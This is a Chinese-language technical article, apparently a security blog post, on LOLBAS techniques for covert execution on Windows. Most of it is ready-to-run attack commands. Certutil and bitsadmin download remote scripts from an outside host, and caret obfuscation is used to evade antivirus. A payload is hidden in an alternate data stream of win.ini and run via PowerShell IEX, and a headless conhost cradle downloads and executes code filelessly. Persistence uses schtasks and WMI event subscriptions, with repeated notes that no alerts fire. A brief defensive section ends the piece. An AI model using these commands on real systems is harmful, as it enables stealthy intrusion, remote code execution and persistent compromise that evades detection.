Windows 隐蔽执行技巧之 LOLBAS
字数 2286 2025-10-26 18:21:34
Windows 隐蔽执行技巧之 LOLBAS 技术详解
1. LOLBAS 介绍
LOLBAS(Living Off the Land Binaries and Scripts)指的是滥用 Windows 操作系统中预装、原生且带有合法数字签名的二进制文件和脚本(如 Certutil.exe、Mshta.exe、Rundll32.exe)来执行恶意操作的技术。由于这些工具本身是系统的一部分,它们的操作往往被传统的应用白名单(AWL)和基于签名的安全产品所信任,从而实现了极高的隐蔽性。
2. LOLBAS 分类:下载与文件传输(Ingress Tool Transfer)
2.1 Certutil.exe(证书工具)
工具特性:
- 用于处理证书的 Windows 二进制文件(支持ADS)
- 支持系统:Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11
基本利用方法:
certutil.exe -urlcache -f http://192.168.176.130/load_bin.ps1 load_bin.ps1
urlcache:参数用于管理URL缓存-f:参数后面跟着要下载文件的URL- 有AV情况下会触发敏感动作告警
替代方法:
certutil.exe -verifyctl -f http://192.168.176.130/load_bin.ps1 load_bin.ps1
verifyctl:验证 AuthRoot 或不允许的证书 CTL
GUI专用方法:
certutil.exe -URL http://192.168.176.130/load_bin.ps1
- 只支持GUI的Windows 10、Windows 11
- 不会触发AV(仅限于特定环境)
文件保存位置:
未指定文件路径时,下载的可执行文件将保存到:
%LOCALAPPDATA%lowMicrosoftCryptnetUrlCacheContent[hash]
其中HASH是下载URL的MD5值
实战绕过技巧(有AV环境):
- 插入符号混淆:
c^e^r^t^u^t^i^l^.e^x^e -f -u^r^l^c^a^c^h^e -s^p^l^i^t http://192.168.176.130/load_bin.ps1 load_bin.ps1
- 下载至ADS(备用数据流):
c^e^r^t^u^t^i^l^.e^x^e -f -u^r^l^c^a^c^h^e -s^p^l^i^t http://192.168.176.130/load_bin.ps1 C:\Windows\win.ini:load
- 执行ADS内容:
powershell -NoP -Exec Bypass -C "IEX (Get-Content C:\Windows\win.ini:load -Raw)"
2.2 Bitsadmin.exe(后台智能传输服务)
工具特性:
- 用于创建和管理 BITS 任务,实现网络状态不佳时的文件后台传输(支持ADS)
- 支持系统:Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11
执行流程:
bitsadmin /create 1
bitsadmin /addfile 1 http://... C:..load_bin.ps1
bitsadmin /resume 1
bitsadmin /complete 1
调用链分析:
- 任务创建:父进程 cmd.exe 依次创建多个 bitsadmin 进程
- 任务触发:svchost.exe(BITS服务)创建子进程启动隐藏在备用数据流中的程序
- 系统重定向:sihost.exe 将其重定向到目标应用
- 以上操作均不会触发敏感动作告警
3. LOLBAS 分类:代理执行(Proxy Execution)
3.1 Mshta.exe(HTML应用程序)
工具特性:
- Windows 用它来执行 html 应用程序(.hta)
- 支持系统:Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11
利用方法:
- 执行HTA内嵌的VBScript代码
- 搭配PowerShell实现无文件落地(需对命令进行变形以避免告警)
调用链分析:
- 初始代理:cmd.exe → mshta.exe(作为执行代理)
- 引擎启动:mshta.exe解析VBScript后静默启动PowerShell引擎
- 动态编译:PowerShell调用.NET框架的C#编译器csc.exe实现在野编译
- 资源处理:csc.exe启动资源处理工具cvtres.exe
3.2 Conhost.exe(控制台窗口主机)
工具特性:
- 命令行程序的宿主进程
- 支持系统:Windows 10、Windows 11
基本利用:
conhost.exe --headless cmd /c calc.exe
- 使用
--headless参数隐藏黑框
无文件落地技巧:
conhost.exe --headless powershell -NoP -Exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://...')"
改进方案(避免黑窗口):
- 通过WMI操作:利用WmiPrvSE.exe(无UI界面)
- 进程注入:PowerShell加载器增加进程注入后销毁自身
4. LOLBAS 分类:持久化操作(Persistence operations)
4.1 Schtasks.exe(计划任务命令)
工具特性:
- 命令行工具用于创建、删除、查询和管理本地或远程计算机的计划任务
- 支持系统:Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11
利用示例:
schtasks /create /tn "UpdateTask" /tr "C:\Windows\System32\calc.exe" /sc minute /mo 1
- 每天每隔1分钟触发1次程序
- 不指定时间则按创建时间触发
4.2 Wmic.exe(Windows管理规范命令行)
重要说明:
- 微软2016年逐步弃用此工具,后续Windows只能通过可选功能安装
- 提倡使用PowerShell替代
基本利用:
- 本地执行命令:
wmic process call create "calc.exe"
- 远程执行命令:
wmic /node:192.168.1.100 process call create "calc.exe"
持久化操作实现:
- 创建事件过滤器(定义触发条件):
wmic /namespace:\\root\subscription path __EventFilter create Name="TestFilter", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
- 创建事件消费者(定义执行动作):
wmic /namespace:\\root\subscription path CommandLineEventConsumer create Name="TestConsumer", ExecutablePath="C:\Windows\System32\calc.exe", CommandLineTemplate="calc.exe"
- 创建绑定关系:
wmic /namespace:\\root\subscription path __FilterToConsumerBinding create Filter='__EventFilter.Name="TestFilter"', Consumer='CommandLineEventConsumer.Name="TestConsumer"'
查询方法:
wmic /namespace:\\root\subscription path __EventFilter get Name
wmic /namespace:\\root\subscription path CommandLineEventConsumer get Name
wmic /namespace:\\root\subscription path __FilterToConsumerBinding get Filter,Consumer
技术特点:
- 事件创建后每分钟触发1次计算器
- wmiprvse.exe运行在隔离的非交互式桌面,计算器不会显示界面
- 通过ProcessMonitor可观察到任务正常触发
- 无安全告警产生
5. 防御建议
- 应用白名单增强:不仅检查程序路径,还要监控命令行参数
- 行为监控:关注异常进程创建链和网络连接模式
- 日志分析:加强Windows安全日志和Sysmon日志分析
- 权限控制:遵循最小权限原则,限制不必要的系统工具执行权限
- 安全意识:培训相关人员识别异常系统行为模式
总结
LOLBAS技术利用Windows原生工具的特性,实现了高隐蔽性的攻击操作。防御方需要从多个层面建立纵深防御体系,结合行为分析、日志监控和权限控制等手段,才能有效应对这类攻击技术。